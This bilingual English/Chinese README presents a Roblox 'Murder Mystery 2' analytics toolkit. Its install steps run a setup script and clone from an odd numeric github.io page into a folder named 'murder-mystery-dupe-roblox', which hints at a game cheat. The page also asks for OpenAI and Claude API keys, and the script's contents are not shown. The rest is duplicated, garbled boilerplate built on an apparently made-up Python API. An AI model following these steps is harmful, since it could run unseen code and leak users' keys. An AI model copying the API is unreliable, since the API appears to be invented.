Murder Mystery 2 Analytics Toolkit
Murder Mystery 2 分析工具包
Skill by
ara.so — Data Skills collection.
This toolkit provides analytics, inventory management, and strategic gameplay insights for Roblox's Murder Mystery 2 game. It includes data visualization, collection tracking, performance metrics, and AI-powered strategy recommendations.
本工具包为Roblox的《Murder Mystery 2》游戏提供数据分析、库存管理及策略玩法洞察功能,包含数据可视化、藏品追踪、性能指标统计以及AI驱动的策略建议。
bash
chmod +x setup.sh
./setup.sh --install
bash
chmod +x setup.sh
./setup.sh --install
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt
Environment Configuration
环境配置
Create a
file with required API keys:
bash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
bash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
Run comprehensive analytics on your MM2 profile:
bash
python3 main.py --mode analytics \
--profile <username> \
--export <output_file>.json \
--format json \
--verbose --log-level DEBUG
Example:
bash
python3 main.py --mode analytics \
--profile mystery_solver_01 \
--export statistics_2026.json \
--format json \
--verbose --log-level DEBUG
对MM2游戏档案运行全面分析:
bash
python3 main.py --mode analytics \
--profile <username> \
--export <output_file>.json \
--format json \
--verbose --log-level DEBUG
示例:
bash
python3 main.py --mode analytics \
--profile mystery_solver_01 \
--export statistics_2026.json \
--format json \
--verbose --log-level DEBUG
Scan and catalog your knife skins collection:
bash
python3 main.py --mode inventory \
--scan-knives \
--filter legendary,ancient \
--export inventory_report.csv
扫描并分类你的刀具皮肤藏品:
bash
python3 main.py --mode inventory \
--scan-knives \
--filter legendary,ancient \
--export inventory_report.csv
Generate AI-powered strategy recommendations:
bash
python3 main.py --mode strategy \
--role sheriff \
--analyze-patterns \
--export strategy_insights.json
生成AI驱动的策略建议:
bash
python3 main.py --mode strategy \
--role sheriff \
--analyze-patterns \
--export strategy_insights.json
Profile Configuration (YAML)
档案配置(YAML格式)
yaml
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"
yaml
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"
json
{
"profile": {
"username": "MysterySolver2026",
"preferred_role": "sheriff",
"inventory_filter": [
{
"category": "knife_skins",
"rarity": ["legendary", "ancient"]
}
],
"analytics_preferences": {
"tracking_mode": "comprehensive",
"data_refresh_rate": 30,
"export_format": ["csv", "json"]
}
}
}
json
{
"profile": {
"username": "MysterySolver2026",
"preferred_role": "sheriff",
"inventory_filter": [
{
"category": "knife_skins",
"rarity": ["legendary", "ancient"]
}
],
"analytics_preferences": {
"tracking_mode": "comprehensive",
"data_refresh_rate": 30,
"export_format": ["csv", "json"]
}
}
}
Python API Usage
Python API 使用方法
Basic Analytics Session
基础分析会话
python
from mm2_analytics import AnalyticsEngine, Profile
python
from mm2_analytics import AnalyticsEngine, Profile
profile = Profile.load("mystery_solver_01")
profile = Profile.load("mystery_solver_01")
Create analytics engine
创建分析引擎
engine = AnalyticsEngine(profile)
engine = AnalyticsEngine(profile)
Run comprehensive analysis
运行全面分析
results = engine.analyze(
mode="comprehensive",
include_inventory=True,
include_stats=True,
include_strategy=True
)
results = engine.analyze(
mode="comprehensive",
include_inventory=True,
include_stats=True,
include_strategy=True
)
engine.export(results, format="json", output="stats_2026.json")
engine.export(results, format="json", output="stats_2026.json")
python
from mm2_analytics import InventoryManager
python
from mm2_analytics import InventoryManager
Initialize inventory manager
初始化库存管理器
inventory = InventoryManager(username="mystery_solver_01")
inventory = InventoryManager(username="mystery_solver_01")
Scan for knife skins
扫描刀具皮肤
knives = inventory.scan_knives(
filter_rarity=["legendary", "ancient"],
include_metadata=True
)
knives = inventory.scan_knives(
filter_rarity=["legendary", "ancient"],
include_metadata=True
)
Get collection completeness
获取藏品完成度
completeness = inventory.get_completeness_score()
print(f"Collection {completeness}% complete")
completeness = inventory.get_completeness_score()
print(f"藏品完成度:{completeness}%")
missing = inventory.find_missing_items(category="knife_skins")
for item in missing:
print(f"Missing: {item.name} (Rarity: {item.rarity})")
missing = inventory.find_missing_items(category="knife_skins")
for item in missing:
print(f"缺失:{item.name}(稀有度:{item.rarity})")
python
from mm2_analytics import StrategyAnalyzer
python
from mm2_analytics import StrategyAnalyzer
Initialize strategy analyzer
初始化策略分析器
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
Analyze win patterns
分析获胜模式
patterns = analyzer.analyze_win_patterns(
role="sheriff",
time_period="last_30_days"
)
patterns = analyzer.analyze_win_patterns(
role="sheriff",
time_period="last_30_days"
)
Get AI recommendations
获取AI建议
recommendations = analyzer.get_ai_recommendations(
role="sheriff",
playstyle="aggressive",
use_openai=True # Uses API_OPENAI_KEY from env
)
for rec in recommendations:
print(f"Strategy: {rec.title}")
print(f"Description: {rec.description}")
print(f"Expected Win Rate Increase: {rec.impact}%")
recommendations = analyzer.get_ai_recommendations(
role="sheriff",
playstyle="aggressive",
use_openai=True # 使用.env中的API_OPENAI_KEY
)
for rec in recommendations:
print(f"策略:{rec.title}")
print(f"描述:{rec.description}")
print(f"预期胜率提升:{rec.impact}%")
python
from mm2_analytics import DataVisualizer
python
from mm2_analytics import DataVisualizer
viz = DataVisualizer(profile="mystery_solver_01")
viz = DataVisualizer(profile="mystery_solver_01")
Generate performance chart
生成性能图表
viz.create_performance_chart(
metric="win_rate",
time_range="last_90_days",
output="performance.png"
)
viz.create_performance_chart(
metric="win_rate",
time_range="last_90_days",
output="performance.png"
)
Create inventory distribution chart
创建库存分布图表
viz.create_inventory_chart(
category="knife_skins",
group_by="rarity",
output="inventory_distribution.png"
)
viz.create_inventory_chart(
category="knife_skins",
group_by="rarity",
output="inventory_distribution.png"
)
Export interactive dashboard
导出交互式仪表盘
viz.export_dashboard(
format="html",
output="dashboard.html",
include_charts=["performance", "inventory", "strategy"]
)
viz.export_dashboard(
format="html",
output="dashboard.html",
include_charts=["performance", "inventory", "strategy"]
)
Complete Analysis Workflow
完整分析工作流
python
from mm2_analytics import (
Profile,
AnalyticsEngine,
InventoryManager,
StrategyAnalyzer,
DataVisualizer
)
python
from mm2_analytics import (
Profile,
AnalyticsEngine,
InventoryManager,
StrategyAnalyzer,
DataVisualizer
)
profile = Profile.load("mystery_solver_01")
profile = Profile.load("mystery_solver_01")
inventory = InventoryManager(profile=profile)
inventory.scan_all()
inv_report = inventory.generate_report()
inventory = InventoryManager(profile=profile)
inventory.scan_all()
inv_report = inventory.generate_report()
Analyze gameplay statistics
分析游戏统计数据
engine = AnalyticsEngine(profile)
stats = engine.get_stats(time_period="last_30_days")
engine = AnalyticsEngine(profile)
stats = engine.get_stats(time_period="last_30_days")
Generate strategy recommendations
生成策略建议
strategy = StrategyAnalyzer(profile)
recommendations = strategy.get_recommendations(
role=profile.preferred_role,
use_ai=True
)
strategy = StrategyAnalyzer(profile)
recommendations = strategy.get_recommendations(
role=profile.preferred_role,
use_ai=True
)
Create visualizations
创建可视化内容
viz = DataVisualizer(profile)
viz.create_dashboard(
include_inventory=True,
include_stats=True,
include_strategy=True,
output="full_dashboard.html"
)
viz = DataVisualizer(profile)
viz.create_dashboard(
include_inventory=True,
include_stats=True,
include_strategy=True,
output="full_dashboard.html"
)
Export comprehensive report
导出综合报告
engine.export_comprehensive_report(
inventory=inv_report,
stats=stats,
recommendations=recommendations,
format="pdf",
output="mm2_analysis_2026.pdf"
)
engine.export_comprehensive_report(
inventory=inv_report,
stats=stats,
recommendations=recommendations,
format="pdf",
output="mm2_analysis_2026.pdf"
)
python
from mm2_analytics import LiveTracker
import time
python
from mm2_analytics import LiveTracker
import time
Initialize live tracker
初始化实时追踪器
tracker = LiveTracker(
profile="mystery_solver_01",
refresh_interval=30 # seconds
)
tracker = LiveTracker(
profile="mystery_solver_01",
refresh_interval=30 # 秒
)
Start tracking session
启动追踪会话
tracker.start()
try:
while True:
# Get current session stats
current = tracker.get_current_session()
print(f"Games Played: {current.games_played}")
print(f"Win Rate: {current.win_rate}%")
print(f"Role Distribution: {current.role_distribution}")
time.sleep(30)
except KeyboardInterrupt:
# Stop tracking and save session
session_data = tracker.stop()
tracker.export(session_data, output="session_2026.json")
tracker.start()
try:
while True:
# 获取当前会话统计
current = tracker.get_current_session()
print(f"已玩游戏数:{current.games_played}")
print(f"胜率:{current.win_rate}%")
print(f"角色分布:{current.role_distribution}")
time.sleep(30)
except KeyboardInterrupt:
# 停止追踪并保存会话
session_data = tracker.stop()
tracker.export(session_data, output="session_2026.json")
Batch Processing Multiple Profiles
批量处理多个档案
python
from mm2_analytics import BatchProcessor
python
from mm2_analytics import BatchProcessor
Initialize batch processor
初始化批量处理器
processor = BatchProcessor()
processor = BatchProcessor()
Add profiles to process
添加待处理档案
profiles = ["player1", "player2", "player3"]
processor.add_profiles(profiles)
profiles = ["player1", "player2", "player3"]
processor.add_profiles(profiles)
results = processor.analyze_all(
mode="comprehensive",
parallel=True,
max_workers=4
)
results = processor.analyze_all(
mode="comprehensive",
parallel=True,
max_workers=4
)
Export consolidated report
导出合并报告
processor.export_consolidated_report(
results=results,
format="xlsx",
output="team_analysis_2026.xlsx"
)
processor.export_consolidated_report(
results=results,
format="xlsx",
output="team_analysis_2026.xlsx"
)
CLI Command Reference
CLI命令参考
python3 main.py --mode analytics --profile <username>
python3 main.py --mode analytics --profile <username>
With specific time range
指定时间范围
python3 main.py --mode analytics --profile <username> --time-range 30d
python3 main.py --mode analytics --profile <username> --time-range 30d
Export to specific format
导出为指定格式
python3 main.py --mode analytics --profile <username> --export stats.csv --format csv
python3 main.py --mode analytics --profile <username> --export stats.csv --format csv
python3 main.py --mode inventory --scan-all
python3 main.py --mode inventory --scan-all
Filter by category and rarity
按类别和稀有度筛选
python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient
python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient
python3 main.py --mode inventory --find-missing --category knife_skins
python3 main.py --mode inventory --find-missing --category knife_skins
Generate strategy recommendations
生成策略建议
python3 main.py --mode strategy --role sheriff --analyze-patterns
python3 main.py --mode strategy --role sheriff --analyze-patterns
AI-powered recommendations
AI驱动的建议
python3 main.py --mode strategy --role murderer --use-ai --provider openai
python3 main.py --mode strategy --role murderer --use-ai --provider openai
Export strategy report
导出策略报告
python3 main.py --mode strategy --export strategy.pdf --format pdf
python3 main.py --mode strategy --export strategy.pdf --format pdf
Visualization Commands
可视化命令
python3 main.py --mode visualize --create-dashboard --output dashboard.html
python3 main.py --mode visualize --create-dashboard --output dashboard.html
Generate specific charts
生成指定图表
python3 main.py --mode visualize --chart performance --output perf.png
python3 main.py --mode visualize --chart performance --output perf.png
Export interactive report
导出交互式报告
python3 main.py --mode visualize --interactive --output report.html
python3 main.py --mode visualize --interactive --output report.html
Inventory Sync Issues
库存同步问题
If inventory data is not syncing:
python
from mm2_analytics import InventoryManager
inventory = InventoryManager(username="mystery_solver_01")
如果库存数据无法同步:
python
from mm2_analytics import InventoryManager
inventory = InventoryManager(username="mystery_solver_01")
inventory.force_refresh()
inventory.force_refresh()
Clear cache and rescan
清除缓存并重扫描
inventory.clear_cache()
inventory.scan_all(force=True)
inventory.clear_cache()
inventory.scan_all(force=True)
status = inventory.check_connection()
print(f"Connection Status: {status}")
status = inventory.check_connection()
print(f"连接状态:{status}")
Handle API rate limits gracefully:
python
from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
try:
recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
print(f"Rate limit hit. Retry after {e.retry_after} seconds")
time.sleep(e.retry_after)
recommendations = analyzer.get_ai_recommendations(use_openai=True)
优雅处理API速率限制:
python
from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
try:
recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
print(f"触发速率限制。{e.retry_after}秒后重试")
time.sleep(e.retry_after)
recommendations = analyzer.get_ai_recommendations(use_openai=True)
Data Export Failures
数据导出失败
Debug export issues:
python
from mm2_analytics import AnalyticsEngine
import logging
调试导出问题:
python
from mm2_analytics import AnalyticsEngine
import logging
Enable verbose logging
启用详细日志
logging.basicConfig(level=logging.DEBUG)
engine = AnalyticsEngine(profile="mystery_solver_01")
results = engine.analyze()
try:
engine.export(results, format="json", output="stats.json")
except Exception as e:
# Log detailed error
logging.error(f"Export failed: {e}")
# Try alternative format
engine.export(results, format="csv", output="stats.csv")
logging.basicConfig(level=logging.DEBUG)
engine = AnalyticsEngine(profile="mystery_solver_01")
results = engine.analyze()
try:
engine.export(results, format="json", output="stats.json")
except Exception as e:
# 记录详细错误
logging.error(f"导出失败:{e}")
# 尝试替代格式
engine.export(results, format="csv", output="stats.csv")
Performance Optimization
性能优化
For large datasets:
python
from mm2_analytics import AnalyticsEngine
engine = AnalyticsEngine(
profile="mystery_solver_01",
cache_enabled=True,
parallel_processing=True,
max_workers=4
)
针对大型数据集:
python
from mm2_analytics import AnalyticsEngine
engine = AnalyticsEngine(
profile="mystery_solver_01",
cache_enabled=True,
parallel_processing=True,
max_workers=4
)
Use incremental analysis for large time ranges
对长时间范围使用增量分析
results = engine.analyze_incremental(
start_date="2026-01-01",
end_date="2026-12-31",
chunk_size="30d"
)
results = engine.analyze_incremental(
start_date="2026-01-01",
end_date="2026-12-31",
chunk_size="30d"
)
Custom Data Filters
自定义数据筛选器
python
from mm2_analytics import DataFilter
python
from mm2_analytics import DataFilter
Create custom filter
创建自定义筛选器
filter = DataFilter()
filter.add_condition("role", "equals", "sheriff")
filter.add_condition("win_rate", "greater_than", 0.5)
filter.add_condition("games_played", "between", [10, 100])
filter = DataFilter()
filter.add_condition("role", "equals", "sheriff")
filter.add_condition("win_rate", "greater_than", 0.5)
filter.add_condition("games_played", "between", [10, 100])
Apply filter to analysis
将筛选器应用于分析
engine = AnalyticsEngine(profile="mystery_solver_01")
filtered_results = engine.analyze(filter=filter)
engine = AnalyticsEngine(profile="mystery_solver_01")
filtered_results = engine.analyze(filter=filter)
python
from mm2_analytics import StrategyAnalyzer
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
python
from mm2_analytics import StrategyAnalyzer
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
openai_recs = analyzer.get_ai_recommendations(
provider="openai",
model="gpt-4",
api_key="${OPENAI_API_KEY}"
)
openai_recs = analyzer.get_ai_recommendations(
provider="openai",
model="gpt-4",
api_key="${OPENAI_API_KEY}"
)
claude_recs = analyzer.get_ai_recommendations(
provider="claude",
model="claude-3-opus",
api_key="${CLAUDE_API_KEY}"
)
claude_recs = analyzer.get_ai_recommendations(
provider="claude",
model="claude-3-opus",
api_key="${CLAUDE_API_KEY}"
)
Multi-Language Support
多语言支持
python
from mm2_analytics import AnalyticsEngine
python
from mm2_analytics import AnalyticsEngine
Set language for reports
设置报告语言
engine = AnalyticsEngine(
profile="mystery_solver_01",
language="es" # Spanish
)
engine = AnalyticsEngine(
profile="mystery_solver_01",
language="es" # 西班牙语
)
Generate localized report
生成本地化报告
report = engine.generate_report(localized=True)
This toolkit is designed for analytical and educational purposes. Always comply with Roblox Terms of Service when collecting and analyzing game data.
report = engine.generate_report(localized=True)
本工具包仅用于分析和教育目的。收集和分析游戏数据时,请始终遵守Roblox服务条款。